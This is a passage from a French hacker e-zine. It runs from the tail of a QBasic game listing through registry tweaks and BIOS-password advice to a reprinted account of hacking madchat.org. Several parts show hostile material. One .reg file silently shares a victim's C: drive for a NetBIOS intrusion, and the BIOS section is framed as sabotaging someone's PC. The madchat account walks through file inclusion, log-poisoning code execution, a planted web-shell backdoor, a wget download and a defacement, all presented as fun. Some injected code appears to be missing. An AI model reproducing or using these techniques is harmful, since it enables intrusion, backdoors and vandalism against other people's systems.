IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF q >= 200 THEN GOTO 4 IF d = 180 THEN GOTO 7 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d + 1 q = q + 1 IF INKEY$ = CHR$(51) THEN GOTO 1 FOR z = 1 TO s NEXT GOTO 3 5 PSET (p, q) IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF d = 0 THEN GOTO 1 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 IF p = 320 THEN GOTO 8 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d - 1 p = p + 1 c$ = INKEY$ IF c$ = CHR$(53) THEN GOTO 6 IF c$ = CHR$(50) THEN GOTO 7 FOR z = 1 TO s NEXT GOTO 5 6 PSET (p, q) IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF q <= 0 THEN GOTO 4 IF d = 0 THEN GOTO 2 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d - 1 q = q - 1 IF INKEY$ = CHR$(51) THEN GOTO 5 FOR z = 1 TO s NEXT GOTO 6 7 PSET (p, q) IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF q >= 200 THEN GOTO 4 IF d = 0 THEN GOTO 3 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d - 1 q = q + 1 IF INKEY$ = CHR$(51) THEN GOTO 5 FOR z = 1 TO s NEXT GOTO 7 REM Ci dessous, le dernier écran de jeu, qui définit si vous avez gagné ou perdu. 4 CLS PRINT "" PRINT "" PRINT " Vous avez perdu" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT " Nombre de points" PRINT r PRINT "" PRINT "" PRINT "" PRINT " Appuyez sur a" LINE (90, 10)-(220, 10) LINE (220, 10)-(220, 30) LINE (220, 30)-(90, 30) LINE (90, 30)-(90, 10) REM Pour exemple, en décimal a = 97 , la ligne suivante définit si l'utilisateur du programme a tapé "a" et si oui on va à la ligne 9 11 IF INKEY$ = CHR$(97) THEN GOTO 9 GOTO 11 8 CLS r = r + 1 s = s - 50 PRINT "" PRINT "" PRINT " Vous avez gagn‚" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT " Appuyez sur a" LINE (90, 10)-(220, 10) LINE (220, 10)-(220, 30) LINE (220, 30)-(90, 30) LINE (90, 30)-(90, 10) 10 IF INKEY$ = CHR$(97) THEN GOTO 0 GOTO 10 9 CLS PRINT "" PRINT "" PRINT " Voulez vous recommencer ?" PRINT "" PRINT "" PRINT "" PRINT "" PRINT " o = Oui" PRINT " n = Non" 13 c$ = INKEY$ IF c$ = CHR$(111) THEN GOTO 22 IF c$ = CHR$(110) THEN GOTO 12 REM Car en décimal o = 111 et n = 110 GOTO 13 12 END Voilà, et comme vous l'avez constatez le principe est le même que dans tous les langages de programmation, pour demander à l'utilisateur de presser une touche, on définit d'abord la variable qui correspond à la touche, ici "c", on l'assigne à INKEY$ , après quoi on peut se servir de c$ pour les if, selon la valeur de la touche préssée en décimal... Bon, si vous n'avez pas compris, c'est que vous êtes vraiment trop con := , le basic est formé de telle sorte que même un débutant peut comprendre le programme rien qu'en lisant une ou deux fois le code source... A partir de cet exemple, vous ne devriez avoir aucun mal à écrire vos propres programmes... Pour l'instruction LINE, c'est un peu plus compliqué, il faudra donc essayer différents valeurs de LINE pour voir le dessin qu'on peut en tirer, etc... Chaque jeu que j'ai programmé en BASIC, je l'ai programmé par HASARD, en faisant des chtits dessins avec LINE, essayer de voir à quoi ça peut ressembler, et essayer de faire un jeu avec. En fait le Basic est plus un divertissement qu'autre chose... Mais faites attention de ne pas trop y prendre goût, le basic est mauvais pour la santé... Bon, sur ce chers amis lecteurs (;=)) on passe à autre chose, le basic m'a déjà degouté... -------------------------------- ( 7. Quelques astuces sur la BDR ) -------------------------------- Yeepieeeeeeee, Dr.Kefka est là pour remettre les choses en ordre sur votre micro... Modifier la base de registre nécessite que vous ayez WINDOWS installé sur votre machine, croyez moi, s'amuser avec regedit est la chose la plus amusante à faire sous windaube... Voici donc quelques astuces, très diverses, et 100% efficaces : ¤ Faire disparaître les icônes de son bureau Ouvrez regedit 'demarrer/executer/regedit' puis aller dans : HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer Now regarder à droite, vous voyez plusieurs clés, comme NoDriveTypeAutoRun et NoSaveSetting. Faites donc un clique droit sur la fenêtre, selectionner Nouveau, puis Valeur DWORD . Renommez maintenant la valeur en "Nodesktop". Double cliquez ensuite sur Nodesktop et mettez 1 dans le cadre "Données de la valeur" . Redemarrez maintenant votre pc, et là Ö Surprise, vous n'avez plus une seule icône sur le bureau... Pour les faire reaparaître, il vous suffira de supprimer la veleur "Nodesktop" . Voilà ! ¤ Renommez le poste de travail et la corbeille Ouvrez regedit, puis aller dans : HKEY_CLASSES_ROOT / CLSID / {645FF040-5081-101B-9F08-00AA002F954E} pour la Corbeille HKEY_CLASSES_ROOT / CLSID / {20D04FE0-3AEA-1069-A2D8-08002B30309D} pour le Poste de travail A droite de votre écran vous verrez les valeurs "Defaut" et "Infotip". En double cliquant sur ces valeurs, vous pourrez modifier le nom et la description de vos icônes. Amusez vous bien !!! ;) Vous pouvez aussi modifier le nom d'autres icônes, comme : HKEY_CLASSES_ROOT / CLSID / {450D8FBA-AD25-11D0-98A8-0800361B1103} pour Mes documents HKEY_CLASSES_ROOT / CLSID / {85BBD920-42A0-1069-A2E4-08002B30309D} pour Porte-documents ¤ Inversez les icônes Corbeille Pleine / Corbeille vide Très con je sais... Ouvrez regedit et aller dans : HKEY_LOCAL_MACHINE / Software / Classes / CLSID Puis double-cliquez sur le secteur {645FF040-5081-101B-9F08-00AA002F954E} . Puis sur "Defaut Icon" . Il ne vous restera plus qu'à remplacer les valeurs à droite de l'écran: empty "c:\windows\system\shell32.dll,31" full "c:\windows\system\shell32.dll,32" A remplacer par : empty "c:\windows\system\shell32.dll,32" full "c:\windows\system\shell32.dll,31" C'est à dire inverser le 31 et le 32 ... Effet garanti !!!! ¤ Les fichier *.reg Au lieu d'aller modifier la base de registre manuellement, vous pouvez également créer des fichiers registre qui le feront pour vous. Voilà un exemple - sexydoo.reg ... REGEDIT4 ; les commentaires s'introduisent par ";" dans les fichiers reg ; comme àç :)))) ; Remplacer la page d'acueil d'Internet Explorer par http://www.sexydoo.net ; ( un excellent site de uc ;) ) ; les clés sont introduites par [ et ] ; les " " sont pour assigner des valeurs à ces clés ; bon, j'arrête de parler, on y go !!! [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer] "start page"="http://www.sexydoo.net" ; Voilà z'avez compris ?? Bon, now voici un autre exemple de fichier reg, cette fois ci servant à activer le partage des dossiers/fichiers d'une machine, afin d'introduire cette machine grâce à l'exploit Netbios. NB : J'en avais d'ailleurs déjà parler dans le HackZine précédent. REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags] "REG_DWORD"="770" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parmlenc] "REG_BINARY"="6837" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc] "REG_BINARY"="0" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path] "C:\" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark] "" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type] "REG_DWORD"="0" Ahem, voilà, en fait ceci n'était que l'adaptation hasardeuse (:p) d'un script *.vbs dont j'avais publier le code source dans HackZine2. Même pas sûr que ce fichier reg marche, c'est vous dire si je m'y connais... :P Ooo et puis zut, si vous avez l'intention de signaler une erreur, fermez vot' gueule, on voit bien que c'est pas vous qui l'avez écris ce mag, tssss... Bon, si c'est ça, j'arrête de parler de la base de registre.. (fallait pas me faire chier, je vous avais prévenu :p ) ------------------------------- ( 8. Déregler le Bios de son pc ) ------------------------------- Ahem, on va ici s'attaquer à une très bonne technique qui consiste à interdire l'accès au pc par un simple mot de passe. Très efficace vu qu'il n'existe aucun moyen pour enlever le passwd (en fait si, y'a une bidouille à faire avec la carte mère, on y reviendra après) . Il vous faudra pour cela régler le Bios du pc que vous voulez saboter... Comment faire ? En fait tout dépend de la marque de votre ordinateur, pour accèder à mon bios, il a fallu que je presse plusieurs fois la touche F1 lors du démarrage de mon pc, mais sinon c'est généralement Del ou suppr, pour le savoir, vérifier votre manuel... ;) Donc, pour avoir accès au Bios, il faut, dès le démarrage du pc, appuyer sur une certaine touche... Bon, now qu'on est dans le Bios, on fait quoi ? Alors voilà, déjà vous pouvez reconnaître plusieurs options, Informations système, configuration CMOS, Options avancées, etc.. A l'aide des fléches directionelles, placez le curseur sur "Options avancées", puis de la même façon allez sur "Securité du système" . Vous aurez la possibilité de mettre un mot de passe au démarrage, en mettant le curseur sur "Mot de passe de mise sous tension" et appuyant vers la droite, de manière à regler le passwd sur "Présent". A vous ensuite de définir le mot de passe, 7 caractères maximum... 7 caractères, tiens c'est marrant ça, les 7 jours de la semaine, les 7 sacrements, et... Les 7 lettres de [ w i n d o w s ] arghhh billou est partour, même chez IBM ! (NDLR : mon pc est de marque IBM, cherchez pas plus loin :)) ) Bon, maintenant que vous avez défini le passwd, retournez sur le menu d'accueil en appuyant deux fois sur ECHAP. Puis, quittez le Bios en appuyant une nouvelle fois sur ECHAP, et sauvegarder les modifications. Le pc va redemarrer, attendez quelques instant... Et hop, avant même que Windows se lance, on vous demande la key !!! J'espère que vous connaissez le password, parce que sinon, z'êtes trop dans la merde... Justement, en parlant de ça, je vais maintenant vous donner la méthode pour faire sauter le mot de passe d'un Bios, largement inspiré de FrHack #1 , mais bon... Il va vous falloir pour ce faire vous armer d'un tournevis, afin d'ouvrir votre ordinateur. Si vous savez déjà comment c'est fait l'intérieur d'un ordinateur, vous n'aurez aucune difficulté à trouver la carte mère, cherchez donc à côté de celle-ci une petite batterie ronde, et enlevez la (du moins mettez la à l'écart pour un ptit quart d'heure) Now, cherchez le jumper du CMOS et mettez le sur zéro. Ensuite cherchez une batterie bleue avec un jumper collé dessus, enlevez cette batterie pour un quart d'heure aussi. Au bout de quize minutes donc, remettez tous les éléments en place et rallumez le pc. Vous voilà enfin dans le setup du Bios , vous reste plus qu'à y mettre tous les paramètres que vous voudrez ... HAVE FUN /// ;) --------------------------- ( 9. Madchat.org was hacked ) --------------------------- Cet article, (qui n'est pas de moi) va être le premier article d'une série dont le thème sera de vous montrer, à travers quelques exemples réels, les méthodes d'intrusions des script kiddies, cela sera donc une très bonne chose pour vous apprendre à exploiter différentes failles... Ici, la faille exploitée est PHP4, les failles php sont très appréciées de nos jours... Bon, je vous laisse découvrir ça tout seul, comme un grand !!! -------------------------------------------------------------------------- a Mind over Machine release: Nouvelle methode d'exploitaiton de trous de securitees causez par PHP4 par __2. -------------------------------------------------------------------------- Un exemple eventuelle de hacking reside souvent dans l'utilisation automatique d'une serie d'exploit pris un peu partout sur Internet. Dans le cas suivant par contre, nous avons eu la chance d'inventer nos propres mecanismes, chose qui sort du commun. Nous nous sommes donc dit que cela pourrait faire un bon article au point de vue technique. Le site a ete defacer(le site web a ete modifier pour souligner notre passage, rien de tres mechant) et on s'est permis de placer 3-4 backdoors un peu partout question de pouvoir revenir si jamais l'envie se presenterait. Au moment ou vous lisez ceci peut-etre que madchat.org contient encore une backdoor valide. A vous de les trouvez :) Question de prouver qu'on a bien reussi a faire tout ce quon dit quon a fait allez voir les fichiers joints au e-zine, leonard et compagnie va surement s'y retrouver. Tout a debutter le 21 au soir, dans le coin des 9h. Moi et wyzeman on essayait plusieurs sites question de forcer leur systeme de PHP, apres un maigre 15 minutes j'avais deja reussi a defacer un autre site(kill-9.dk) pour le plaisir de ce genre de chose, on s'est dit que madchat regorgant de php3 archaiques fait par des gens aux competences douteuses pourrait etre un bon champ d'entrainement. Donc j'ai cru bon commencer par le forum, un forum en PHP est tjours une bonne source d'essaies eventuelles. Resumer de mes tentatives solder par un echec: La personne qui l'avais coder avait prevu un peu tout les trucs classiques(blocage des <> %3C/%3E etc..) Alors j'ai du me rabattre sur une 2ieme possibilitee, la base de donnee MYSQL qui roulait sur le port par defaut (madchat.org:3306). A vue de nez on pouvait conclure qu'un systeme qui roule qmail/ncftpd et mysql en multiuser est un ISP commerciale,les possibilitees que mysql roule avec un root par defaut etait donc pas mal improbable.Ncftpd valait pas la peine d'etre verifier du fait que c'est un serveur ftp reconnu pour son manque de breches de securite. J'ai ete me rabattre sur les verifications classiques, par exemple: http://madchat.org/box?K=unix/linkz (url normal) variantes: http://madchat.org/box?K=unix/linkz&admin=1 http://madchat.org/box?K= j'ai fait ce genre de verification a tout les liens php possible. J'ai decouvert par hasard que http://madchat.org/box?K= donnait le msg d'erreur : Fatal error: input in flex scanner failed in /home2/triton/www on line 1 Pour quelquun qui fait souvent du PHP ca parait tres tres claire: { pour ceux qui comprenne } Ca voulais dire qu'on pouvait passer directement un PATH a K. ie: http://madchat.org/box?K=/etc/passwd http://madchat.org/box?K=/etc/inetd.conf http://madchat.org/box?K=/proc/cpuinfo (Bonus: aucun $DOCUMENT_ROOT meprisant) Le gros proble me c'est que contrairement a du PERL un code | en php ne maurait pas permis de sortir des limites du include pour lancer des executables. Je savais que je roulais en user:nobody (le ISP avait l'air serieux :-)) alors on etait pas mal limitee a /tmp/ et aux fichiers de /home2/triton/www rw/o (CE qui est une insecurite).. Donc jme suis mis a chercher sur Internet si il existait une facon d'exploiter un include() de PHP pour lancer un application a distance. Ca n'existait pas, personne n'en a jamais parler alors j'etait pas mal abattus et j'ai decider donc de changer d'activitee. Ecouter SouthPark est un bon remede. Nous avons repris le travail vers minuit pour finir a 3h du mat . C'est a ce moment la que tout commencait a devenir plus serieux. J'avais decouvert un moyen par hasard de pouvoir executer du code. Voici l'astuce. Au depart, je voulais les configurations du apache qui roulait sur la machine. J'ai essayer /usr/local/apache/conf/httpd.conf : http://madchat.org/box?K=/madchat.org/box?K=/usr/local/apache/conf/httpd.conf Gotcha, voici les lignes qui nous interessait: User #546 Group silver ServerAdmin webmaster@madchat.org DocumentRoot /home/triton/www ServerName www.madchat.org ServerAlias madchat.org ErrorLog /home/triton/logs/www-error_log CustomLog /home/triton/logs/www-access_log combined ScriptAlias /cgi-bin/ /home/triton/cgi-bin/ Alias /urchin /home/triton/urchin les 2 fichiers LOG promettait d'etre interessant, on aurait pus y voir des URL contenant des mots-de-passes? Pourquoi pas? Alors j'ai nous avons ete chercher fichier log des erreurs: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-error_log Ce qui donne en bref ceci: [Mon Jan 22 00:15:16 2001] [error] [client 62.210.194.76] File does not exist: /home/triton/www/hacking.php3 [Mon Jan 22 00:36:54 2001] [error] [client 209.202.148.38] File does not exist: /home/triton/www/initiation.php3 [Mon Jan 22 00:42:54 2001] [error] [client 193.250.235.129] File does not exist: /home/triton/www/lascars.php3 [Mon Jan 22 00:43:04 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin/forum [Mon Jan 22 00:43:07 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin/forum [Mon Jan 22 00:43:09 2001] [error] [client 64.229.232.73] attempt to invoke directory as script: /home/triton/cgi-bin Rien de tres pationnant , c'est le 2ieme LOG (le custom) qui s'est par contre montrer fort appreciable: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log 149.99.73.119 - - [22/Jan/2001:00:01:33 -0500] "GET / HTTP/1.0" 200 75092 "-" "Mozilla/4.75 [fr] (Win95; U)" 149.99.73.119 - - [22/Jan/2001:00:03:20 -0500] "GET /news/nsa/gwunsa.htm HTTP/1.0" 200 25254 "http://www.northernlight.com/nlquery.fcg?ho=zeppo&po=5128&qr=NSA+AND+Pine+Gap&$ "Mozilla/4.61 [en] (Win98; U)" 149.99.73.119 - - [22/Jan/2001:00:03:22 -0500] "GET /news/nsa/gwunsa_fichiers/nsaseal_t.gif HTTP/1.0" 200 12023 "http://www.madchat.org/news/nsa/gwunsa.htm" "Mozilla/4.61 [en] (Win98; U)" 63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /style.php3 HTTP/1.0" 200 1771 "-" "PHP/4.0.3pl1" 63.100.42.75 - - [22/Jan/2001:00:04:14 -0500] "GET /arbre.php3 HTTP/1.0" 200 5709 "-" "PHP/4.0.3pl1" On voyait les URI! C'est ici que vous devez savoir comment un php fonctionne. Si je fabrique un fichier test.php et que je place a l'interieur: le resultat dans mon browser web va etre bouh! , il va executer le code. Ici le include() inclue le fichier LOG et apres il execute son contenu. ET OUI Tout ce qui restait a faire c'etait de passer un URI contenant le code PHP souhaiter. J'ai dailleurs fait un test: http://www.madchat.org/ Ca l'a ajouter au log une ligne contenant GET et quand je les fait fait afficher avec: http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log Cela a executer phpinfo (allez voir le fichier madchat_hack.txt) Note: PHPINFO liste tout les parametres d'un serveur WEB. par la suite jai decider de lister tout le /home et /home2 pour voir a quoi j'avais affaire: http://www.madchat.org/ http://www.madchat.org/ (remarquer que les espaces deviennent des + dans un URL. J'ai donc eu TOUTE la liste avec tout les privileges de tout ses repertoires la. Maintenant j'avais en gros quelque chose comme ceci: /home2/triton/www: total 1556 drwxr-xr-x 12 triton silver 4096 Jan 20 23:54 . drwxr-xr-x 15 triton silver 4096 Dec 24 13:43 .. -rw-r--r-- 1 triton silver 55 Jan 20 23:01 about.php3 drwxrwxrwx 4 triton silver 4096 Jan 21 06:07 actu -rw-r--r-- 1 triton silver 1438 Dec 3 07:39 actu.php3 -rwxrwxrwx 1 triton silver 5709 Jan 21 20:05 arbre.php3 -rw-r--r-- 1 triton silver 1446 Jan 8 20:14 avertissement.php3 -rw-r--r-- 1 triton silver 559 Jan 21 01:41 box.php3 -rw-r--r-- 1 triton silver 4166 Dec 6 17:28 commenter-old.php3 -rw-r--r-- 1 triton silver 5936 Jan 18 01:37 commenter.php3 -rwxrwxrwx 1 triton silver 5183 Jan 18 15:30 conf.php3 -rw-rw-rw- 1 triton silver 102229 Jan 21 23:18 conflog.txt drwxr-xr-x 2 triton silver 4096 Jan 8 16:03 doc_dump -rw-r--r-- 1 triton silver 7024 Dec 4 03:07 ecrire-old.php3 -rw-r--r-- 1 triton silver 8413 Jan 17 19:07 ecrire.php3 -rwxrwxrwx 1 triton silver 8697 Jan 14 21:25 ecrirebb.php3 -rw-r--r-- 1 triton silver 1231 Jan 14 22:14 editor.php3 -rw-r--r-- 1 triton silver 1193 Dec 13 02:34 editorial.php3 -rw-r--r-- 1 triton silver 3099 Dec 13 02:50 emacs.php3 drwxr-xr-x 2 triton silver 4096 Jan 13 19:36 images -rwxrwxrwx 1 triton silver 3432 Jan 16 04:13 index.php3 -rwxrwxrwx 1 triton silver 54 Jan 20 23:33 links.php3 -rw-rw-rw- 1 triton silver 940624 Jan 22 00:01 loglog.txt -rwxrwxrwx 1 triton silver 55 Jan 20 23:31 madcom.php3 drwxr-xr-x 10 triton silver 4096 Dec 8 20:43 news drwxr-xr-x 2 triton silver 4096 Jan 16 02:09 pgp drwxrwxrwx 2 triton silver 4096 Nov 26 02:48 phorum -rw-r--r-- 1 triton silver 3267 Jan 14 17:41 quotes.dat -rw-r--r-- 1 triton silver 149 Dec 3 07:08 quotes.inc drwxr-xr-x 3 triton silver 4096 Jan 11 10:38 spam -rw-r--r-- 1 triton silver 1771 Jan 20 23:07 style.php3 -rw-r--r-- 1 triton silver 1604 Jan 8 21:32 styleno.php3 drwxr-xr-x 6 triton silver 4096 Jan 14 23:48 unix -rwxr-xr-x 1 triton silver 361610 Jan 8 21:06 unzip512.tar.gz drwxr-xr-x 5 triton silver 4096 Jan 20 13:45 usefr drwxr-xr-x 2 triton silver 4096 Dec 22 15:33 utils (le reste de la recursion du repertoire se trouve dans le fichier texte en attache) Etrangement le fichier INDEX etait -rwxrwxrwx(777) World-writable. En gros ca voulait dire que le user NOBODY de apache pouvait reecrire dessus. Mais avant de faire ca il serait pratique d'instaurer des backdoors pour pouvoir revenir par la suite donc apres 2 minutes j'avais creer ceci: placer dans un fichier .php on pouvait lui envoyer des commandes de cette facon: http://www.serveurweb.com/fichier.php?cmd=uname+-a par exemple. Maintenant il fallait que je fasse un injecteur pour la backdoor, ce fut la partie la plus difficile a cause des slashes, le resultat donna ceci: http://www.madchat.org/K=");fclose($fp);?> Nous avions choisis le sous-rep phorum car il y avait deja un fichier conf.php et tout etait world-writable. Une fois que l'injecteur avait finis son boulot on appelait : http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log Qui lancait le code et bang. Par la suite avec lynx on pouvait recreer un shell en utilisant la methode suivante: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=cat+/etc/issue.net Le output renvoyer etait IDENTIQUE a un shell. N'est ce pas succulent :} Mais on a eu un probleme avant ca, voyez-vous l'injecteur etait defectueux alors il a passer un truc qui a creer une erreur generale dans le www-access_log empechant celui-ci de continuer ligne par ligne donc on avait plus de porte de sortie, en refouillant un peu dans le fichier httpd.conf jai pus retrouver un autre user qui s'appelait acid(pour acid.madchat.org) Alors on a repris l'idee du depart mais sur ce fichier LOG, tout a finalement fonctionner comme prevu :-)) On a donc dispercer la backdoor dans quelques autres endroits et on a commencer a "defacer" le site. Jai pondus un ascii rapide et je les placer sur un serveur web. J'ai fait ceci dans l'ordre: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=mkdir+/var/.mom/ (repertoire temporaire invisible 777) lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=wget+URLdufichier.txt+-O+/var/.mom/s (Telechargement du fichier dans /tmp/.mom/s) Et pour finir: lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=cp+/var/.mom/s+/home2/triton/www/index.php3 Gotcha, le boulot etait fait. J'espere que ce recis vous a plus, il decrit entierement quelque chose de veritable, quelque chose qui a fonctionner sans l'aide d'aucun exploit deja connu, quelque chose que tout le monde peut s'amuser a faire quand vous avez une nuit devant vous :) En note de conclusion: On aurait tout aussi pus utiliser 2 autres methodes qui avait un bon potentiel de fonctionner. 1 - Envoyer un mail forger a qmail pour quil creer un dead.letter dans /home2/triton contenant le code PHP. 2 - Uploader le fichier via le serveur FTP NCFTPD en anonymous (Je n'ai plus connaisance si on a un repertoire incoming writable) Par la suite on aurait eu qu'a refaire afficher le fichier via box?K= ------------------------------------------------------------------------- Texte tiré de http://openbsd.org.br/ouah --- All right reserved --- ------------------------------------------------------------------------- Ba voilà, y'aura bientôt d'autres articles dans le même style,.. mais dans un prochain numéro !!! ---------------- ( 10. Conclusion ) ---------------- Beuhh voilà, ce zine, ou plutôt cette succession d'article à tendance soit bidon, soit crasher (:p), est enfin terminé... Comme je le disais dans mon numéro précédent, la conclusion est le truc le plus difficile à faire dans un e-mag . Euhhh, voyons, qu'est ce que je pourrais dire d'autres... Euhhh, vous aimez les chiens ? (nan trop ringard) . Comment avez vous trouver ce zine ? (heuuu nan). Heuuu, à oui, si vous êtes majeur, s'il vous plaît, au nom de la France, allez voter Chirac !!! (quel rapport avec mon zine, ça...)... Heuu, faisons l'amour avant de se dire ad.. nan c'est pas classe du tout ça. Alors, bon vent, comme ça on n'en parle plus !!! HACKING AT THE END OF THE UNIVERSE ---------------------------------------------------------------------------------------- [Kefka] , HackZine est une marque copyrighté, toute reproduction interdite sans demande expressive à l'auteur... nickairmax@caramail.com // irc.jeuxvideo.com (@#hack) ----------------------------------------------------------------------------------------